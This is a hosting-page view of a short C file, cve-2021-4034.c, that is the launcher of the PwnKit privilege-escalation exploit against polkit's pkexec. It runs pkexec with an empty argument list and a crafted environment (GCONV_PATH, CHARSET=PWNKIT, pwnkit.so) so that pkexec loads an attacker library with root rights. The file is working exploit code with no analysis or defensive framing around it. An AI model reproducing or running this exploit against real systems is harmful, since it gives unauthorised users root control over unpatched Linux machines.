CVE-2021-4034/cve-2021-4034.c

18 lines
292 B
C
Raw Normal View History

2022-01-26 03:03:31 +03:00
#include <unistd.h>
int main(int argc, char **argv)
{
char * const args[] = {
NULL
};
char * const environ[] = {
"pwnkit.so:.",
"PATH=GCONV_PATH=.",
"SHELL=/lol/i/do/not/exists",
"CHARSET=PWNKIT",
"GIO_USE_VFS=",
2022-01-26 03:03:31 +03:00
NULL
};
return execve("/usr/bin/pkexec", args, environ);
}